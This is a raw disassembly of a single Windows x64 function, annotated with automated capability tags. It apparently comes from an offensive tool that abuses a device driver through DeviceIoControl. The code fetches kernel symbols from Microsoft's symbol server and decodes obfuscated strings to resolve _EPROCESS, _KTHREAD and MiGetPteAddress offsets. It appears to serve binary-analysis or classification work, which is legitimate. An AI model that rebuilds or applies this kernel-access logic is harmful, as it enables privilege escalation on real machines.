Function at 0x140009480
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get system information on windows
Make suspicious ntquerysysteminformation call
Query environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x140], rax
mov rdi, rdx
mov qword [rbp - 0x50], rdx
mov rsi, rcx
mov qword [rbp + 0x20], rdx
xor r13d, r13d
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
lea r14, [rbp + 0x188]
movabs r15, 0x7a5db90d33787107
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0xc0], r14
mov rbx, qword [r14]
xor rbx, r15
mov qword [rbp - 0x58], rbx
mov qword [rbp + 0xb0], rbx
mov qword [r14], r13
add rcx, 8
cmp rcx, rdx
je 0x14000951a
cmp qword [rdx + 0x18], 0xf
jbe 0x140009511
mov rdx, qword [rdx]
mov r8, qword [rdi + 0x10]
call fcn.140005f10
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
mov r8d, 1
mov rcx, qword [rsi + 0x70]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x50], rax
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x14000a983
lea r14, [rbp + 0x188]
mov r12, qword [r14]
mov qword [r14], r13
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rbx, rax
mov qword [rsp + 0x40], rax
xor edx, edx
mov r8d, 0x2000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r13, rax
xor eax, eax
mov dword [rbp + 0x18], eax
test r13, r13
je 0x1400095fe
lea r9, [rbp + 0x18]
mov r8d, 0x2000
mov rdx, r13
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
test eax, eax
jns 0x1400096e1
lea rcx, [rbp + 0x188]
mov rax, qword [rcx]
mov qword [rbp - 0x60], rax
xor eax, eax
mov qword [rcx], rax
mov r8, r13
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8d, dword [rbp + 0x18]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r13, rax
test rax, rax
jne 0x1400096b5
mov rcx, qword [rbp - 0x60]
lea rdx, [rbp + 0x188]
mov qword [rdx], rcx
xor eax, eax
mov qword [r14], r12
mov qword [rsi + 0x38], rax
mov rax, qword [rsp + 0x50]
mov qword [rsi], rax
lea r13, [rbp + 0x188]
mov rax, qword [r13]
mov qword [rbp - 0x60], rax
mov r14d, 0x1000
lea rcx, [rbp + 0x188]
xor eax, eax
mov r12d, eax
mov ebx, 8
nop dword [rax]
nop word [rax + rax]
mov qword [rcx], rax
mov dword [rbp + 0x68], eax
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x28], r14
mov qword [rbp + 0x30], rbx
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x68]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0x10
lea r8, [rbp + 0x28]
mov edx, 0x222010
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x140009726
mov rax, qword [rbp + 0x50]
lea rcx, [rbp + 0x188]
mov qword [rcx], r12
test rax, rax
je 0x140009735
add r14, rbx
cmp r14, 0x10000
mov rax, r12
jb 0x140009640
jmp 0x140009732
lea r9, [rbp + 0x18]
mov r8d, dword [rbp + 0x18]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov rcx, qword [rbp - 0x60]
lea rdx, [rbp + 0x188]
mov qword [rdx], rcx
test eax, eax
js 0x1400095fc
cmp dword [r13], 0
jbe 0x1400095fc
lea rax, [rbp + 0x188]
mov rbx, qword [rax]
xor ecx, ecx
mov qword [rax], rcx
mov rax, qword [r13 + 0x18]
mov qword [rbp + 0x50], rax
mov r8, r13
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rax, [rbp + 0x188]
mov qword [rax], rbx
mov rax, qword [rbp + 0x50]
jmp 0x1400095fe
lea rax, [rbp + 0x188]
mov qword [rax], r12
xor eax, eax
mov r14, rax
mov rax, qword [rbp - 0x60]
mov qword [r13], rax
mov qword [rsi + 0x28], r14
lea rcx, str.systemroot
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
mov r14, 0xffffffffffffffff
mov r8, r14
nop dword [rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x140009770
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.1400066a0
nop
mov r8d, 0x16
lea rdx, str.System32_ntoskrnl.exe
lea rcx, [rsp + 0x58]
call fcn.140006070
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa0], xmm1
xor r13d, r13d
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], r13b
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x140009805
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009800
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009800
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000c244
movdqa xmm0, xmmword [0x14000eea0]
movdqu xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x58], r13b
lea rax, [rbp - 0x48]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], r13
mov qword [rbp - 0x30], r13
mov r8d, 0x2c
lea rdx, str.https:__msdl.microsoft.com_download_symbols_
lea rcx, [rbp - 0x48]
call fcn.1400066a0
nop
lea rax, [rbp - 0x28]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], r13
mov qword [rbp - 0x10], r13
xor r8d, r8d
lea rdx, [0x14000e8b9]
lea rcx, [rbp - 0x28]
call fcn.1400066a0
nop
lea rdx, [rbp + 0x90]
lea rcx, [rbp - 8]
call fcn.1400059f0
nop
lea r9, [rbp - 0x48]
lea r8, [rbp - 0x28]
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.140007070
nop
mov r12, qword [rbp + 0x80]
test r12, r12
jne 0x1400099c2
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x1400098e7
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400098e2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a8bf
call fcn.14000c244
mov qword [rbp + 0x80], r13
mov qword [rbp + 0x88], 0xf
mov byte [rbp + 0x70], 0
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x14000993f
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009939
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a919
call fcn.14000c244
nop
xor r15, qword [rbp - 0x58]
lea rax, [rbp + 0x188]
mov qword [rax], r15
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x140009987
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140009982
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000a98e
mov rcx, r8
call fcn.14000c244
mov byte [rdi], 0
mov qword [rdi + 0x18], 0xf
mov qword [rdi + 0x10], r13
xor eax, eax
mov rcx, qword [rbp + 0x140]
xor rcx, rsp
call fcn.14000c1e0
mov rbx, qword [rsp + 0x2a0]
add rsp, 0x250
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], r13
lea rax, [rbp + 0x70]
cmp qword [rbp + 0x88], 0xf
cmova rax, qword [rbp + 0x70]
mov qword [rsp + 0x50], rax
movabs r13, 0x7fffffffffffffff
cmp r12, r13
ja 0x14000a995
cmp r12, 0xf
ja 0x140009a18
mov qword [rbp + 0x38], r12
mov qword [rbp + 0x40], 0xf
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x28], xmm0
jmp 0x140009aaf
mov rax, r12
or rax, 0xf
cmp rax, r13
jbe 0x140009a50
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14000c200
mov rcx, rax
test rax, rax
je 0x140009a85
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140009a91
mov r13, rax
cmp rax, 0x16
mov eax, 0x16
cmovb r13, rax
lea rcx, [r13 + 1]
test rcx, rcx
jne 0x140009a6d
xor eax, eax
jmp 0x140009a91
cmp rcx, 0x1000
jb 0x140009a8c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000a99b
jmp 0x140009a32
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000c200
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x38], r12
mov qword [rbp + 0x40], r13
lea r8, [r12 + 1]
mov rdx, qword [rsp + 0x50]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x28]
call fcn.140008430
test al, al
jne 0x140009bb7
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x140009b02
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009afd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a8bf
call fcn.14000c244
xor ebx, ebx
mov qword [rbp + 0x80], rbx
mov qword [rbp + 0x88], 0xf
mov byte [rbp + 0x70], bl
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x140009b5b
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009b55
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a919
call fcn.14000c244
nop
xor r15, qword [rbp - 0x58]
lea rax, [rbp + 0x188]
mov qword [rax], r15
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x140009ba3
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140009b9e
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000a98e
mov rcx, r8
call fcn.14000c244
mov qword [rdi + 0x10], rbx
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
jmp 0x140009996
lea rax, [rbp + 0x28]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x78], 0x259d25bc
mov dword [rsp + 0x7c], 0x2669258b
mov dword [rbp - 0x80], 0x26672677
mov dword [rbp - 0x7c], 0x26762653
mov dword [rbp - 0x78], 0x2665266a
mov dword [rbp - 0x74], 0x267b2662
mov dword [rbp - 0x70], 0x2646267a
mov dword [rbp - 0x6c], 0x26622662
mov dword [rbp - 0x68], 0x267d2666
xor r13d, r13d
mov word [rbp - 0x64], r13w
mov byte [rbp - 0x62], 1
movdqa xmm3, xmmword [0x14000ee80]
mov ecx, r13d
movdqa xmm4, xmmword [0x14000eeb0]
mov edx, 0x2604
nop word [rax + rax]
movq xmm2, rcx
punpcklqdq xmm2, xmm2
paddq xmm2, xmm4
movd xmm1, dword [rsp + rcx*2 + 0x78]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + rcx*2 + 0x78], xmm1
lea rax, [rdx - 5]
movq xmm2, rax
punpcklqdq xmm2, xmm2
paddq xmm2, xmm3
movd xmm1, dword [rsp + rcx*2 + 0x7c]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + rcx*2 + 0x7c], xmm1
lea rax, [rdx - 3]
movq xmm2, rax
punpcklqdq xmm2, xmm2
paddq xmm2, xmm3
movd xmm1, dword [rbp + rcx*2 - 0x80]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp + rcx*2 - 0x80], xmm1
lea rax, [rdx - 1]
movq xmm0, rdx
movq xmm2, rax
punpcklqdq xmm2, xmm0
movd xmm1, dword [rbp + rcx*2 - 0x7c]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp + rcx*2 - 0x7c], xmm1
add rcx, 8
add rdx, 8
cmp rdx, 0x2614
jb 0x140009c30
mov edx, 0x25fd
cmp rcx, 0x12
jae 0x140009d32
lea eax, [rdx + rcx]
xor word [rsp + rcx*2 + 0x78], ax
inc rcx
cmp rcx, 0x12
jb 0x140009d21
mov byte [rbp - 0x62], r13b
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x28]
call fcn.1400056e0
mov r12, rax
mov dword [rsp + 0x46], 0x535345
mov dword [rsp + 0x40], 0x5250455f
mov word [rsp + 0x44], 0x434f
mov byte [rsp + 0x4a], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], r13
lea rax, [rsp + 0x40]
mov r8, r14
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140009d80
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x58]
call fcn.1400066a0
nop
mov r8, r12
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x50]
call fcn.1400087d0
mov dword [rsi + 0x48], eax
lea rax, [rbp + 0x28]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x78], 0x259025a8
mov dword [rsp + 0x7c], 0x26712596
mov dword [rbp - 0x80], 0x26672674
mov dword [rbp - 0x7c], 0x26762653
mov dword [rbp - 0x78], 0x2665266a
mov dword [rbp - 0x74], 0x267b2662
mov dword [rbp - 0x70], 0x2643267a
mov dword [rbp - 0x6c], 0x266f
mov byte [rbp - 0x68], 1
movdqa xmm2, xmmword [0x14000eeb0]
movd xmm1, dword [rsp + 0x78]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + 0x78], xmm1
movdqa xmm2, xmmword [0x14000eec0]
movd xmm1, dword [rsp + 0x7c]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rsp + 0x7c], xmm1
movdqa xmm2, xmmword [0x14000eed0]
movd xmm1, dword [rbp - 0x80]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp - 0x80], xmm1
movdqa xmm2, xmmword [0x14000eee0]
movd xmm1, dword [rbp - 0x7c]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp - 0x7c], xmm1
mov rcx, rbx
mov edx, 0x25fd
nop dword [rax]
lea eax, [rdx + rcx]
xor word [rsp + rcx*2 + 0x78], ax
inc rcx
cmp rcx, 0xf
jb 0x140009eb0
mov byte [rbp - 0x68], 0
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x28]
call fcn.1400056e0
mov r12, rax
mov dword [rsp + 0x46], 0x535345
mov dword [rsp + 0x40], 0x5250455f
mov word [rsp + 0x44], 0x434f
mov byte [rsp + 0x4a], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], r13
lea rax, [rsp + 0x40]
mov r8, r14
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140009f10
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x58]
call fcn.1400066a0
nop
mov r8, r12
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x50]
call fcn.1400087d0
mov dword [rsi + 0x4c], eax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x50], rax
mov dword [rbp + 0x28], 0x259625a9
mov dword [rbp + 0x2c], 0x2665258d
mov dword [rbp + 0x30], 0x26662660
mov dword [rbp + 0x34], 0x266d264f
mov dword [rbp + 0x38], 0x26722676
mov dword [rbp + 0x3c], 0x266d264f
mov dword [rbp + 0x40], 0x266e2668
mov word [rbp + 0x44], r13w
mov byte [rbp + 0x46], 1
movdqa xmm2, xmmword [0x14000eeb0]
movd xmm1, dword [rbp + 0x28]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp + 0x28], xmm1
movdqa xmm2, xmmword [0x14000eec0]
movd xmm1, dword [rbp + 0x2c]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp + 0x2c], xmm1
movdqa xmm2, xmmword [0x14000eed0]
movd xmm1, dword [rbp + 0x30]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp + 0x30], xmm1
movdqa xmm2, xmmword [0x14000eee0]
movd xmm1, dword [rbp + 0x34]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp + 0x34], xmm1
mov rcx, rbx
mov edx, 0x25fd
nop dword [rax]
nop word [rax + rax]
lea eax, [rdx + rcx]
xor word [rbp + rcx*2 + 0x28], ax
inc rcx
cmp rcx, 0xe
jb 0x14000a040
mov byte [rbp + 0x46], 0
lea rdx, [rbp + 0x28]
lea rcx, [rsp + 0x78]
call fcn.1400056e0
mov r12, rax
mov dword [rsp + 0x46], 0x535345
mov dword [rsp + 0x40], 0x5250455f
mov word [rsp + 0x44], 0x434f
mov byte [rsp + 0x4a], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], r13
lea rax, [rsp + 0x40]
mov r8, r14
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000a0a0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x58]
call fcn.1400066a0
nop
mov r8, r12
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x50]
call fcn.1400087d0
mov dword [rsi + 0x50], eax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x44], 0x64
mov dword [rsp + 0x40], 0x690043
mov byte [rsp + 0x48], 0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x78]
call fcn.1400056e0
mov r12, rax
mov word [rsp + 0x47], 0x44
mov dword [rsp + 0x40], 0x4854455f
mov word [rsp + 0x44], 0x4552
mov byte [rsp + 0x46], 0x41
mov byte [rsp + 0x49], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], r13
lea rax, [rsp + 0x40]
mov r8, r14
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000a140
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x58]
call fcn.1400066a0
nop
mov r8, r12
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x50]
call fcn.1400087d0
add eax, 8
mov dword [rsi + 0x54], eax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x50], rax
mov dword [rbp + 0x28], 0x258c25ad
mov dword [rbp + 0x2c], 0x2676259a
mov dword [rbp + 0x30], 0x266d2668
mov dword [rbp + 0x34], 0x26772676
mov dword [rbp + 0x38], 0x26692648
mov dword [rbp + 0x3c], 0x266d2663
mov word [rbp + 0x40], r13w
mov byte [rbp + 0x42], 1
movdqa xmm2, xmmword [0x14000eeb0]
movd xmm1, dword [rbp + 0x28]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp + 0x28], xmm1
movdqa xmm2, xmmword [0x14000eec0]
movd xmm1, dword [rbp + 0x2c]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp + 0x2c], xmm1
movdqa xmm2, xmmword [0x14000eed0]
movd xmm1, dword [rbp + 0x30]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp + 0x30], xmm1
movdqa xmm2, xmmword [0x14000eee0]
movd xmm1, dword [rbp + 0x34]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp + 0x34], xmm1
mov rcx, rbx
mov edx, 0x25fd
nop
lea eax, [rdx + rcx]
xor word [rbp + rcx*2 + 0x28], ax
inc rcx
cmp rcx, 0xc
jb 0x14000a260
mov byte [rbp + 0x42], 0
lea rdx, [rbp + 0x28]
lea rcx, [rsp + 0x78]
call fcn.1400056e0
mov r12, rax
mov word [rsp + 0x47], 0x44
mov dword [rsp + 0x40], 0x48544b5f
mov word [rsp + 0x44], 0x4552
mov byte [rsp + 0x46], 0x41
mov byte [rsp + 0x49], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], r13
lea rax, [rsp + 0x40]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x14000a2c0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x58]
call fcn.1400066a0
nop
mov r8, r12
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x50]
call fcn.1400087d0
mov dword [rsi + 0x58], eax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x50], rax
mov dword [rbp + 0x28], 0x259625a9
mov dword [rbp + 0x2c], 0x2665258d
mov dword [rbp + 0x30], 0x26662660
mov dword [rbp + 0x34], 0x266d264f
mov dword [rbp + 0x38], 0x26722676
mov dword [rbp + 0x3c], 0x26662642
mov dword [rbp + 0x40], 0x2678267d
mov dword [rbp + 0x44], 0x2672
mov byte [rbp + 0x48], 1
movdqa xmm2, xmmword [0x14000eeb0]
movd xmm1, dword [rbp + 0x28]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp + 0x28], xmm1
movdqa xmm2, xmmword [0x14000eec0]
movd xmm1, dword [rbp + 0x2c]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp + 0x2c], xmm1
movdqa xmm2, xmmword [0x14000eed0]
movd xmm1, dword [rbp + 0x30]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp + 0x30], xmm1
movdqa xmm2, xmmword [0x14000eee0]
movd xmm1, dword [rbp + 0x34]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp + 0x34], xmm1
mov ecx, 0x25fd
lea eax, [rcx + rbx]
xor word [rbp + rbx*2 + 0x28], ax
inc rbx
cmp rbx, 0xf
jb 0x14000a3e1
mov byte [rbp + 0x48], 0
lea rdx, [rbp + 0x28]
lea rcx, [rsp + 0x78]
call fcn.1400056e0
mov rbx, rax
mov word [rsp + 0x47], 0x44
mov dword [rsp + 0x40], 0x4854455f
mov word [rsp + 0x44], 0x4552
mov byte [rsp + 0x46], 0x41
mov byte [rsp + 0x49], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], r13
lea rax, [rsp + 0x40]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x14000a441
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x58]
call fcn.1400066a0
nop
mov r8, rbx
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x50]
call fcn.1400087d0
mov dword [rsi + 0x5c], eax
mov dword [rbp + 0x34], 0x737365
mov dword [rbp + 0x28], 0x6547694d
mov dword [rbp + 0x2c], 0x65745074
mov dword [rbp + 0x30], 0x72646441
mov byte [rbp + 0x38], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], r13
lea rax, [rbp + 0x28]
mov r8, r14
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000a4b0
lea rdx, [rbp + 0x28]
lea rcx, [rsp + 0x58]
call fcn.1400066a0
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x50]
call fcn.140008680
mov dword [rsi + 0x60], eax
mov word [rbp + 0x41], 0x73
movdqa xmm0, xmmword [0x14000ef00]
movdqu xmmword [rbp + 0x28], xmm0
mov dword [rbp + 0x38], 0x6e65646e
mov dword [rbp + 0x3c], 0x67615074
mov byte [rbp + 0x40], 0x65
mov byte [rbp + 0x43], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], r13
lea rax, [rbp + 0x28]
mov r8, r14
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000a520
lea rdx, [rbp + 0x28]
lea rcx, [rsp + 0x58]
call fcn.1400066a0
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x50]
call fcn.140008680
mov dword [rsi + 0x64], eax
mov dword [rbp + 0x38], 0x6e6f69
movdqa xmm0, xmmword [0x14000ef10]
movdqu xmmword [rbp + 0x28], xmm0
mov byte [rbp + 0x3c], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], r13
lea rax, [rbp + 0x28]
nop word [rax + rax]
inc r14
cmp byte [rax + r14], 0
jne 0x14000a580
mov r8, r14
lea rdx, [rbp + 0x28]
lea rcx, [rsp + 0x58]
call fcn.1400066a0
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x50]
call fcn.140008680
mov dword [rsi + 0x68], eax
mov edx, 0x10000000
mov rbx, qword [rbp + 0x50]
mov rcx, rbx
call qword [sym.imp.dbghelp.dll_SymUnloadModule64]
mov rcx, rbx
call qword [sym.imp.dbghelp.dll_SymCleanup]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r14, [rbp + 0x188]
mov rbx, qword [r14]
mov qword [r14], r13
mov edx, dword [rsi + 0x60]
mov rax, qword [rsi + 0x38]
add rax, 0x13
add rdx, rax
mov qword [rbp + 0x50], r13
lea r8, [rbp + 0x50]
mov rcx, rsi
call fcn.14000a9b0
mov qword [r14], rbx
mov rax, qword [rbp + 0x50]
mov qword [rsi + 0x40], rax
